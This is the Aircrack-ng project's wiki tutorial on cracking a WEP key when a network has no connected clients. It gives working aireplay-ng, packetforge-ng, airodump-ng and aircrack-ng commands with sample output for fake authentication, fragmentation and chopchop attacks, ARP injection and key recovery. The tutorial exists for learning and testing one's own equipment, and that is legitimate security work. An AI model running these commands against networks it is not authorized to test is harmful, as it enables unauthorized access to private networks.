Aircrack-ng

how_to_crack_wep_with_no_clients

Tutorial: How to crack WEP with no wireless clients

Version: 1.16 August 28, 201
By: darkAudax
Video: http://video.aircrack-ng.org/noclient/ [http://video.aircrack-ng.org/noclient/]

Introduction

There are many times when a wireless network has no wireless clients associated with it and there are no ARP requests coming from the wired side. This tutorial describes how to crack the WEP key when there are no wireless clients and there are no ARP requests coming from the wired side. Although this topic has been discussed many times over in the Forum [http://forum.aircrack-ng.org], this tutorial is intended to address the topic in more detail and provide working examples.

If there ARP requests being broadcast from the wire side, then the standard fake authentication combined with ARP request replay technique may be used.

It is recommended that you experiment with your home wireless access point to get familiar with these ideas and techniques. If you do not own a particular access point, please remember to get permission from the owner prior to playing with it.

I would like to acknowledge and thank the Aircrack-ng team [http://trac.aircrack-ng.org/wiki/Team] for producing such a great robust tool.

Please send me any constructive feedback, positive or negative. Additional troubleshooting ideas and tips are especially welcome.

Assumptions

First, this solution assumes:

- You are using drivers patched for injection. Use the injection test to confirm your card can inject prior to proceeding.
- You are physically close enough to send and receive access point packets. Remember that just because you can receive packets from the access point does not mean you may will be able to transmit packets to the AP. The wireless card strength is typically less then the AP strength. So you have to be physically close enough for your transmitted packets to reach and be received by the AP. You should confirm that you can communicate with the specific AP by following these instructions.
- There are some data packets coming from the access point. Beacons and other management frame packets are totally useless for our purposes in this tutorial. A quick way to check is to run airodump-ng and see if there are any data packets counted for the access point. Having said that, if you have data captured from the access point from another session, then this can be used. This is an advanced topic and this tutorial does not provide detailed instructions for this case.
- The access point uses WEP "open authentication". It will not work if "shared key authentication" (SKA) is being used. With SKA, the only way to be successful with no clients present is if you captured the PRGA xor data with a airodump-ng handshake or an aireplay-ng attack previously. This is because you will need the PRGA xor file to do the fake authentication successfully.
- You use the native MAC address of your wireless card for all the steps and do not change it. Do NOT use any other MAC address as the source for transmitting packets. Otherwise, some commands will not work correctly. See the Using Another Source MAC Address Section for instructions on dealing with using a different source MAC address.
- You are using v0.9 of aircrack-ng. If you use a different version then some of the command options may have to be changed.

Ensure all of the above assumptions are true, otherwise the advice that follows will not work. In the examples below, you will need to change "ath0" to the interface name which is specific to your wireless card.

Equipment used

In this tutorial, here is what was used:

- MAC address of PC running aircrack-ng suite: 00:09:5B:EC:EE:F2
- BSSID (MAC address of access point): 00:14:6C:7E:40:80
- ESSID (Wireless network name): teddy
- Access point channel: 9
- Wireless interface: ath0

You should gather the equivalent information for the network you will be working on. Then just change the values in the examples below to the specific network.

Solution

Solution Overview

Here are the basic steps we will be going through:

- 1 - Set the wireless card MAC address
- 2 - Start the wireless interface in monitor mode on the specific AP channel
- 3 - Use aireplay-ng to do a fake authentication with the access point
- 4 - Use aireplay-ng chopchop or fragmentation attack to obtain PRGA

- 5 - Use packetforge-ng to create an arp packet using the PRGA obtain in the previous step
- 6 - Start airodump-ng on AP channel with filter for bssid to collect the new unique IVs
- 7 - Inject the arp packet created in step 5
- 8 - Run aircrack-ng to crack key using the IVs collected

Step 1 - Set the wireless card MAC address

To be honest, we will not be changing the wireless card MAC address.

This is a reminder to use your wireless card MAC address as the source MAC. I mention this explicitly as a reminder to use the actual MAC address from your card in “Step 3 - fake authentication” if you are replaying data from another session. Detailed instructions can be found in the FAQ: How do I change my card's MAC address ?.

Step 2 - Start the wireless interface in monitor mode on AP channel

Enter the following command to start the wireless card on channel 9 in monitor mode:

```
airmon-ng start wifi0 9
```

Note: In this command we use “wifi0” instead of our wireless interface of “ath0”. This is because the madwifi-ng drivers are being used. For other drivers, use the actual interface name.

The system will respond:

```
Interface       Chipset         Driver

wifi0           Atheros         madwifi-ng
ath0            Atheros         madwifi-ng VAP (parent: wifi0) (monitor mode enabled)
```

You will notice that “ath0” is reported above as being put into monitor mode.

To confirm the interface is properly setup, enter “iwconfig”.

The system will respond:

```
lo        no wireless extensions.

eth0      no wireless extensions.

wifi0     no wireless extensions.

ath0      IEEE 802.11g  ESSID:""  Nickname:""
          Mode:Monitor  Frequency:2.452 GHz  Access Point: 00:09:5B:EC:EE:F2
          Bit Rate:0 kb/s   Tx-Power:15 dBm   Sensitivity=0/3
          Retry:off   RTS thr:off   Fragment thr:off
          Encryption key:off
          Power Management:off
          Link Quality=0/94  Signal level=-98 dBm  Noise level=-98 dBm
          Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:0
          Tx excessive retries:0  Invalid misc:0   Missed beacon:0
```

In the response above, you can see that ath0 is in monitor mode, on the 2.452GHz frequency which is channel 9 and the Access Point shows the MAC address of your wireless card. So everything is good. It is important to confirm all this information prior to proceeding, otherwise the following steps will not work properly. (Note: If you are using a driver other than madwifi, then the Access Point field will be either invisible or show something other than your card's MAC address. This is normal.)

To match the frequency to the channel, check out: http://www.cisco.com/en/US/docs/wireless/technology/channel/deployment/guide/Channel.html#wp134132 [http://www.cisco.com/en/US/docs/wireless/technology/channel/deployment/guide/Channel.html#wp134132] . This will give you the frequency for each channel.

Troubleshooting Tips

- If another interface started other than ath0 then stop all of them first by using “airmon-ng stop athX” where X is each interface you want to stop.
- On mac80211-based drivers, airmon-ng will respond with something like this:

```
Interface       Chipset         Driver

wlan0           Broadcom 43xx   b43 - [phy0]
                                (monitor mode enabled on mon0)
```

For such interfaces, use the interface name after “monitor mode enabled on” (here “mon0”) for further commands, rather than your card's actual interface.

Step 3 - Use aireplay-ng to do a fake authentication with the access point

This is a very important step.

In order for an access point to accept a packet, the source MAC address must already be associated. If the source MAC address you are injecting is not associated then the AP ignores the packet and sends out a “DeAuthentication” packet. In this state, no new IVs are created because the AP is ignoring all the injected packets.

The lack of association with the access point is the single biggest reason why injection fails.

To associate with an access point, use fake authentication:

```
aireplay-ng -1 0 -e teddy -a 00:14:6C:7E:40:80 -h 00:09:5B:EC:EE:F2 ath0
```

Where:

- -1 means fake authentication
- 0 reassociation timing in seconds
- -e teddy is the wireless network name
- -a 00:14:6C:7E:40:80 is the access point MAC address
- -h 00:09:5B:EC:EE:F2 is our card MAC address
- ath0 is the wireless interface name

Success looks like:

```
18:18:20  Sending Authentication Request
18:18:20  Authentication successful
18:18:20  Sending Association Request
18:18:20  Association successful :-)
```

Or another variation for picky access points:

```
aireplay-ng -1 6000 -o 1 -q 10 -e teddy -a 00:14:6C:7E:40:80 -h 00:09:5B:EC:EE:F2 ath0
```

Where:

- 6000 - Reauthenticate very 6000 seconds. The long period also causes keep alive packets to be sent.
- -o 1 - Send only one set of packets at a time. Default is multiple and this confuses some APs.
- -q 10 - Send keep alive packets every 10 seconds.

Success looks like:

```
18:22:32  Sending Authentication Request
18:22:32  Authentication successful
18:22:32  Sending Association Request
18:22:32  Association successful :-)
18:22:42  Sending keep-alive packet
18:22:52  Sending keep-alive packet
# and so on.
```

Here is an example of what a failed authentication looks like:

```
8:28:02  Sending Authentication Request
18:28:02  Authentication successful
18:28:02  Sending Association Request
18:28:02  Association successful :-)
18:28:02  Got a deauthentication packet!
18:28:05  Sending Authentication Request
18:28:05  Authentication successful
18:28:05  Sending Association Request
18:28:10  Sending Authentication Request
18:28:10  Authentication successful
18:28:10  Sending Association Request
```

Notice the "Got a deauthentication packet" and the continuous retries above. Do not proceed to the next step until you have the fake authentication running correctly.

Troubleshooting Tips

- Some access points are configured to only allow selected MAC addresses to associate and connect. If this is the case, you will not be able to successfully do fake authentication unless you know one of the MAC addresses on the allowed list. See the MAC access control troubleshooting tip here.
- If at any time you wish to confirm you are properly associated is to use tcpdump and look at the packets. Start another session and…

Run:

```
 tcpdump -n -e -s0 -vvv -i ath0
```

Here is a typical tcpdump error message you are looking for:

```
 11:04:34.360700 314us BSSID:00:14:6c:7e:40:80 DA:00:09:5B:EC:EE:F2 SA:00:14:6c:7e:40:80   DeAuthentication: Class 3 frame received from nonassocia
```

Notice that the access point (00:14:6c:7e:40:80) is telling the source (00:09:5B:EC:EE:F2) you are not associated. Meaning, the AP will not process or accept the injected packets.

If you want to select only the DeAuth packets with tcpdump then you can use: "tcpdump -n -e -s0 -vvv -i ath0 | grep -i DeAuth". You may need to tweak the phrase "DeAuth" to pick out the exact packets you want.

Step 4 - Use aireplay-ng chopchop or fragmenation attack to obtain PRGA

The objective of the chopchop and fragmentation attacks is to obtain a PRGA (pseudo random generation algorithm) file. This PRGA is not the WEP key and cannot be used to decrypt packets. However, it can be used to create new packets for injection. The creation of new packets will be covered later in the tutorial.

Either chopchop or fragmentation attacks can be to obtain the PRGA bit file. The result is the same so use whichever one works for you. The pros and cons of each attack are described on the aircrack-ng page.

We will cover the fragmentation technique first. Start another console session and run:

```
aireplay-ng -5 -b 00:14:6C:7E:40:80 -h 00:09:5B:EC:EE:F2 ath0
```

Where:

- -5 means the fragmentation attack
- -b 00:14:6C:7E:40:80 is the access point MAC address
- -h 00:09:5B:EC:EE:F2 is the MAC address of our card and must match the MAC used in the fake authentication
- ath0 is the wireless interface name

The system will respond:

```
aireplay-ng -5 -b 00:14:6C:7E:40:80 -h 00:09:5B:EC:EE:F2 ath0
Waiting for a data packet...
Read 127 packets...

        Size: 114, FromDS: 1, ToDS: 0 (WEP)

        BSSID  =  00:14:6C:7E:40:80
        Dest. MAC  =  01:00:5E:00:00:FB
        Source MAC  =  00:40:F4:77:E5:C9

        0x0000:  0842 0000 0100 5e00 00fb 0014 6c7e 4080  .B....^.....l~@.
        0x0010:  0040 f477 e5c9 6052 8c00 0000 3073 d265  .@.w..`R....0s.e
        0x0020:  c402 790b 2293 c7d5 89c5 4136 7283 29df  ..y.".....A6r.).
        0x0030:  4e9e 5e13 5f43 4ff5 1b37 3ff9 4da4 c03b  N.^._CO..7?.M..;
        0x0040:  8244 5882 d5cc 7a1f 2b9b 3ef0 ee0f 4fb5  .DX...z.+.>...O.
        0x0050:  4563 906d 0d90 88c4 5532 a602 a8ea f8e2  Ec.m....U2......
        0x0060:  c531 e214 2b28 fc19 b9a8 226d 9c71 6ab1  .1..+(...."m.qj.
        0x0070:  9c9f                                     ..

        Use this packet ? y
```

When a packet from the access point arrives, enter “y” to proceed. You may need to try a few different packets from the AP to be successful. These packets have ”“FromDS: 1”.

When successful, the system responds:

```
Saving chosen packet in replay_src-0203-180328.cap
Data packet found!
Sending fragmented packet
Got RELAYED packet!!
Thats our ARP packet!
Trying to get 384 bytes of a keystream
Got RELAYED packet!!
Thats our ARP packet!
Trying to get 1500 bytes of a keystream
Got RELAYED packet!!
Thats our ARP packet!
Saving keystream in fragment-0203-180343.xor
Now you can build a packet with packetforge-ng out of that 1500 bytes keystream
```

Success! The file “fragment-0203-180343.xor” can then be used in the next step to generate an arp packet.

If the fragmentation attack was not successful, you can then try the chopchop technique next. Run:

```
aireplay-ng -4 -h 00:09:5B:EC:EE:F2 -b 00:14:6C:7E:40:80 ath0
```

Where:

- -4 means the chopchop attack
- -h 00:09:5B:EC:EE:F2 is the MAC address of our card and must match the MAC used in the fake authentication
- -b 00:14:6C:7E:40:80 is the access point MAC address
- ath0 is the wireless interface name

The system responds:

```
     Read 165 packets...

        Size: 86, FromDS: 1, ToDS: 0 (WEP)

        BSSID  =  00:14:6C:7E:40:80
        Dest. MAC  =  FF:FF:FF:FF:FF:FF
        Source MAC  =  00:40:F4:77:E5:C9

        0x0000:  0842 0000 ffff ffff ffff 0014 6c7e 4080  .B..........l~@.
        0x0010:  0040 f477 e5c9 603a d600 0000 5fed a222  .@.w..`:...._.."
        0x0020:  e2ee aa48 8312 f59d c8c0 af5f 3dd8 a543  ...H......._=..C
        0x0030:  d1ca 0c9b 6aeb fad6 f394 2591 5bf4 2873  ....j.....%.[.(s
        0x0040:  16d4 43fb aebb 3ea1 7101 729e 65ca 6905  ..C...>.q.r.e.i.
        0x0050:  cfeb 4a72 be46                           ..Jr.F

Use this packet ? y
```

You respond “y” above and the system continues.

```
Saving chosen packet in replay_src-0201-191639.cap

Offset   85 ( 0% done) | xor = D3 | pt = 95 |  253 frames written in   760ms
Offset   84 ( 1% done) | xor = EB | pt = 55 |  166 frames written in   498ms
Offset   83 ( 3% done) | xor = 47 | pt = 35 |  215 frames written in   645ms
Offset   82 ( 5% done) | xor = 07 | pt = 4D |  161 frames written in   483ms
Offset   81 ( 7% done) | xor = EB | pt = 00 |   12 frames written in    36ms
Offset   80 ( 9% done) | xor = CF | pt = 00 |  152 frames written in   456ms
Offset   79 (11% done) | xor = 05 | pt = 00 |   29 frames written in    87ms
Offset   78 (13% done) | xor = 69 | pt = 00 |  151 frames written in   454ms
Offset   77 (15% done) | xor = CA | pt = 00 |   24 frames written in    71ms
Offset   76 (17% done) | xor = 65 | pt = 00 |  129 frames written in   387ms
Offset   75 (19% done) | xor = 9E | pt = 00 |   36 frames written in   108ms
Offset   74 (21% done) | xor = 72 | pt = 00 |   39 frames written in   117ms
Offset   73 (23% done) | xor = 01 | pt = 00 |  146 frames written in   438ms
Offset   72 (25% done) | xor = 71 | pt = 00 |   83 frames written in   249ms
Offset   71 (26% done) | xor = A1 | pt = 00 |   43 frames written in   129ms
Offset   70 (28% done) | xor = 3E | pt = 00 |   98 frames written in   294ms
Offset   69 (30% done) | xor = BB | pt = 00 |  129 frames written in   387ms
Offset   68 (32% done) | xor = AE | pt = 00 |  248 frames written in   744ms
Offset   67 (34% done) | xor = FB | pt = 00 |  105 frames written in   315ms
Offset   66 (36% done) | xor = 43 | pt = 00 |  101 frames written in   303ms
Offset   65 (38% done) | xor = D4 | pt = 00 |  158 frames written in   474ms
Offset   64 (40% done) | xor = 16 | pt = 00 |  197 frames written in   591ms
Offset   63 (42% done) | xor = 7F | pt = 0C |   72 frames written in   217ms
Offset   62 (44% done) | xor = 1F | pt = 37 |  166 frames written in   497ms
Offset   61 (46% done) | xor = 5C | pt = A8 |  119 frames written in   357ms
Offset   60 (48% done) | xor = 9B | pt = C0 |  229 frames written in   687ms
Offset   59 (50% done) | xor = 91 | pt = 00 |  113 frames written in   339ms
Offset   58 (51% done) | xor = 25 | pt = 00 |  184 frames written in   552ms
Offset   57 (53% done) | xor = 94 | pt = 00 |   33 frames written in    99ms
Offset   56 (55% done) | xor = F3 | pt = 00 |  193 frames written in   579ms
Offset   55 (57% done) | xor = D6 | pt = 00 |   17 frames written in    51ms
Offset   54 (59% done) | xor = FA | pt = 00 |   81 frames written in   243ms
Offset   53 (61% done) | xor = EA | pt = 01 |   95 frames written in   285ms
Offset   52 (63% done) | xor = 5D | pt = 37 |   24 frames written in    72ms
Offset   51 (65% done) | xor = 33 | pt = A8 |   20 frames written in    59ms
Offset   50 (67% done) | xor = CC | pt = C0 |   97 frames written in   291ms
Offset   49 (69% done) | xor = 03 | pt = C9 |  188 frames written in   566ms
Offset   48 (71% done) | xor = 34 | pt = E5 |   48 frames written in   142ms
Offset   47 (73% done) | xor = 34 | pt = 77 |   64 frames written in   192ms
Offset   46 (75% done) | xor = 51 | pt = F4 |  253 frames written in   759ms
Offset   45 (76% done) | xor = 98 | pt = 40 |  109 frames written in   327ms
Offset   44 (78% done) | xor = 3D | pt = 00 |  242 frames written in   726ms
Offset   43 (80% done) | xor = 5E | pt = 01 |  194 frames written in   583ms
Offset   42 (82% done) | xor = AF | pt = 00 |   99 frames written in   296ms
Offset   41 (84% done) | xor = C4 | pt = 04 |  164 frames written in   492ms
Offset   40 (86% done) | xor = CE | pt = 06 |   69 frames written in   207ms
Offset   39 (88% done) | xor = 9D | pt = 00 |  137 frames written in   411ms
Offset   38 (90% done) | xor = FD | pt = 08 |  229 frames written in   688ms
Offset   37 (92% done) | xor = 13 | pt = 01 |  232 frames written in   695ms
Offset   36 (94% done) | xor = 83 | pt = 00 |   19 frames written in    58ms
Offset   35 (96% done) | xor = 4E | pt = 06 |  230 frames written in   689ms
Sent 957 packets, current guess: B9...

The AP appears to drop packets shorter than 35 bytes.
Enabling standard workaround: ARP header re-creation.

Saving plaintext in replay_dec-0201-191706.cap
Saving keystream in replay_dec-0201-191706.xor

Completed in 21s (2.29 bytes/s)
```

Success! The file “replay_dec-0201-191706.xor” above can then be used in the next step to generate an arp packet.

Helpful Tips

- Be sure the packet is 68 or more bytes otherwise you may not have enough PRGA data to subsequently generate a packet. The PRGA captured has to equal or greater then the packet length we want to generate.
- At home, to generate some packets to force chopchop to start, ping a nonexistent IP on your network using a wired client. This forces an arp to be broadcast and this will show up in chopchop to be used.
- You can check the decrypted packet by running “tcpdump -n -vvv -e -s0 -r replay_dec-0201-191706.cap”. In our example above:

reading from file replay_dec-0201-191706.cap, link-type IEEE802_11 (802.11) 19:17:06.842866 0us DA:Broadcast BSSID:00:14:6c:7e:40:80 SA:00:40:f4:77:e5:c9 LLC, dsap SNAP (0xaa), ssap SNAP (0xaa), cmd 0x03: oui Ethernet (0x000000), ethertype ARP (0x0806): arp who-has 192.168.1.12 tell 192.168.1.1

- If something happens part way through chopchop, you can reuse the source packet by entering “aireplay-ng -4 ath0 -h 00:09:5B:EC:EE:F2 -r replay_src-0201-191639.cap”. The replay source file is noted when chopchop starts.
- Taking the previous tip further, if you have a capture file from another session, you can use it as input “aireplay-ng -4 ath0 -h 00:09:5B:EC:EE:F2 -r capture-from-some-other-time.cap”

Troubleshooting Tips

- If the first packet you select does not work, then try a few others. Sometimes it takes more then one try to be successful with either attack.
- The chopchop attack will not be successful on some access points. If this happens, move onto the fragmentation attack. And vice versa.
- Make sure you are properly associated. To check this, follow the tcpdump instructions in step 2.

Step 5 - Use packetforge-ng to create an arp packet

In the previous step, we obtained PRGA. It does not matter which attack generated the PRGA, both are equal. This PRGA is stored in the files ending with “xor”. We can then use this PRGA to generate a packet for injection. We will be generating an arp packet for injection. The objective is to have the access point rebroadcast the injected arp packet. When it rebroadcasts it, a new IV is obtained. All these new IVs will ultimately be used to crack the WEP key.

But first, lets generate the arp packet for injection by entering:

```
packetforge-ng -0 -a 00:14:6C:7E:40:80 -h 00:09:5B:EC:EE:F2 -k 255.255.255.255 -l 255.255.255.255 -y fragment-0203-180343.xor -w arp-request
```

Where:

- -0 means generate an arp packet
- -a 00:14:6C:7E:40:80 is the access point MAC address
- -h 00:09:5B:EC:EE:F2 is MAC address of our card
- -k 255.255.255.255 is the destination IP (most APs respond to 255.255.255.255)
- -l 255.255.255.255 is the source IP (most APs respond to 255.255.255.255)
- -y fragment-0203-180343.xor is file to read the PRGA from (NOTE: Change the file name to the actual file name out in step 4 above)
- -w arp-request is name of file to write the arp packet to

The system will respond:

```
Wrote packet to: arp-request
```

Helpful Tips

- After creating the packet, use tcpdump to review it from a sanity point of view. See below. It looks good!

```
tcpdump -n -vvv -e -s0 -r arp-request

reading from file arp-request, link-type IEEE802_11 (802.11)
10:49:17.456350 WEP Encrypted 258us BSSID:00:14:6c:7e:40:80 SA:00:09:5b:ec:ee:f2 DA:Broadcast Data IV: 8f Pad 0 KeyID 0
```

Since you are testing against your own AP (you are, right?), then decrypt the packet and ensure it is correct. These steps are not required, they just prove to yourself that you have generated the correct packet.

Decrypt the packet:

```
airdecap-ng -e teddy -w <put your WEP key here> arp-request
```

View the decrypted packet:

```
tcpdump -n -r arp-request-dec
```

It should be something like:

```
reading from file arp-request-dec, link-type EN10MB (Ethernet)
10:49:17.456350 arp who-has 255.255.255.255 tell 255.255.255.255
```

Step 6 - Start airodump-ng

Open another console session to capture the generated IVs. Then enter:

```
airodump-ng -c 9 --bssid 00:14:6C:7E:40:80 -w capture ath0
```

Where:

- -c 9 is the channel for the wireless network
- --bssid 00:14:6C:7E:40:80 is the access point MAC address. This eliminate extraneous traffic.
- -w capture is file name prefix for the file which will contain the captured packets.
- ath0 is the interface name.

Step 7 - Inject the arp packet

Using the console session where you generated the arp packet, enter:

```
aireplay-ng -2 -r arp-request ath0
```

Where:

- -2 means use interactive frame selection
- -r arp-request defines the file name from which to read the arp packet
- ath0 defines the interface to use

The system will respond:

```
        Size: 68, FromDS: 0, ToDS: 1 (WEP)

             BSSID  =  00:14:6C:7E:40:80
         Dest. MAC  =  FF:FF:FF:FF:FF:FF
        Source MAC  =  00:09:5B:EC:EE:F2

        0x0000:  0841 0201 0014 6c7e 4080 0009 5bec eef2  .A....l~@...[...
        0x0010:  ffff ffff ffff 8001 8f00 0000 7af3 8be4  ............z...
        0x0020:  c587 b696 9bf0 c30d 9cd9 c871 0f5a 38c5  ...........q.Z8.
        0x0030:  f286 fdb3 55ee 113e da14 fb19 17cc 0b5e  ....U..>.......^
        0x0040:  6ada 92f2                                j...

        Use this packet ? y
```

Enter “y” to use this packet. The system responds by showing how many packets it is injecting and reminds you to start airodump-ng if it has not already been started:

```
 Saving chosen packet in replay_src-0204-104917.cap
 You should also start airodump-ng to capture replies.

 End of file.
```

While this command is successfully running, the airodump-ng screen will look similar to:

```
 CH  9 ][ Elapsed: 16 s ][ 2007-02-04 11:04

  BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB  ENC  CIPHER AUTH ESSID

  00:14:6C:7E:40:80   47 100      179     2689  336   9  11  WEP  WEP         teddy

  BSSID              STATION            PWR  Lost  Packets  Probes

  00:14:6C:7E:40:80  00:09:5B:EC:EE:F2   29     0     2707
```

You will notice that only one access point is being display since we included an airodump-ng filter to limit the capture to a single BSSID. Also notice that the station packets are roughly equal to the BSSID data packets. This means injection is working well. Also notice the data rate of 336 packets per second which is also an indicator that the injection is working well. This is a pretty “ideal” injection scenario.

Troubleshooting Tips

- If the BSSID data packets are not increasing, make sure you are still associated with the access point. To do this, follow the tcpdump instructions in step 2.

Step 8 - Run aircrack-ng to obtain the WEP key

Start another console session and enter:

```
 aircrack-ng -b 00:14:6C:7E:40:80 capture*.cap
```

Where:

- capture*.cap selects all dump files starting with “capture” and ending in “cap”.
- -b 00:14:6C:7E:40:80 selects the one access point we are interested in

You can run this while generating packets. In a short time, the WEP key will be calculated and presented. Using the PTW method, 40-bit WEP can be cracked with as few as 20,000 data packets and 104-bit WEP with 40,000 data packets. As a reminder, the requirement is that you capture the full packet with airodump-ng. Meaning, do not use the “--ivs” option.

Troubleshooting Tips:

- Sometimes you need to try various techniques to crack the WEP key. Try ”-n” to set various key lengths. Use ”-f” and try various fudge factors. Use ”-k” and try disabling various korek methods.

Alternate Solution

There is a neat trick which simplifies cracking WEP with no clients. Essentially it takes any packet broadcast by the access point and converts it to a broadcast packet such that the access point generates a new IV.

OK, at this point you are asking why didn't you show me this technique right at the start? The reason is that this technique rebroadcasts whatever size packet you receive. So if you receive a 1000 byte packet you then rebroadcast 1000 bytes. This potentially slows down the packets per second rate considerably. However, on the good news side, it is simple and easy to use. You might also get lucky and receive a very small packet for rebroadcasting. In this case, the performance is comparable to the solution described above.

The same assumptions apply and you must also do a successful fake authentication first.

Enter the following command:

```
 aireplay-ng -2 -p 0841 -c FF:FF:FF:FF:FF:FF -b 00:14:6C:7E:40:80 -h 00:09:5B:EC:EE:F2 ath0
```

Where:

- -2 means use interactive frame selection
- -p 0841 sets the Frame Control Field such that the packet looks like it is being sent from a wireless client.
- -c FF:FF:FF:FF:FF:FF sets the destination MAC address to be a broadcast. This is required to cause the AP to replay the packet and thus getting the new IV.
- -b 00:14:6C:7E:40:80 is the access point MAC address
- -h 00:09:5B:EC:EE:F2 is the MAC address of our card and must match the MAC used in the fake authentication
- ath0 defines the interface to use

The system will respond:

```
Read 698 packets...

     Size: 86, FromDS: 1, ToDS: 0 (WEP)

          BSSID  =  00:14:6C:7E:40:80
      Dest. MAC  =  FF:FF:FF:FF:FF:FF
     Source MAC  =  00:D0:CF:03:34:8C

     0x0000:  0842 0000 ffff ffff ffff 0014 6c7e 4080  .B..........l~@.
     0x0010:  00d0 cf03 348c a0f4 2000 0000 e233 962a  ....4... ....3.*
     0x0020:  90b5 fe67 41e0 9dd5 7271 b8ed ed23 8eda  ...gA...rq...#..
     0x0030:  ef55 d7b0 a56f bc16 355f 8986 a7ab d495  .U...o..5_......
     0x0040:  1daa a308 6a70 4465 9fa6 5467 d588 c10c  ....jpDe..Tg....
     0x0050:  f043 09f6 5418                           .C..T.

Use this packet ? y
```

You enter "y" to select the packet and start injecting it. Remember, the smaller the packet, the better. You then start injecting:

```
Saving chosen packet in replay_src-0411-145110.cap

Sent 10204 packets...(455 pps)
```

If you have not already started airodump-ng, be sure to start it now. Once you have sufficient IVs, you can start aircrack-ng and attempt to crack the WEP key.

Another variation of this attack is to use packets from a previous capture. You must have captured the full packets, not just the IVs.

Here is what the command would look like:

```
aireplay-ng -2 -p 0841 -c FF:FF:FF:FF:FF:FF -b 00:14:6C:7E:40:80 -h 00:09:5B:EC:EE:F2 -r capture-01.cap ath0
```

Where " -r capture-01.cap" is data from a previous capture.

Using Another Source MAC Address

The base tutorial assumes you are using the native MAC address of your wireless device as the source MAC. If this is not the case, then you need to change the process used. Since this is an advanced topic, I will provide the general guidelines and not the specific detail.

Preferably, you should change the native MAC address of your wireless device to the MAC you will be spoofing. This could the MAC of a client already associated with the AP or one that you make up. See this FAQ entry regarding how to change the MAC address of your card.

how_to_crack_wep_with_no_clients.txt · Last modified: 2011/08/28 16:08 by darkaudax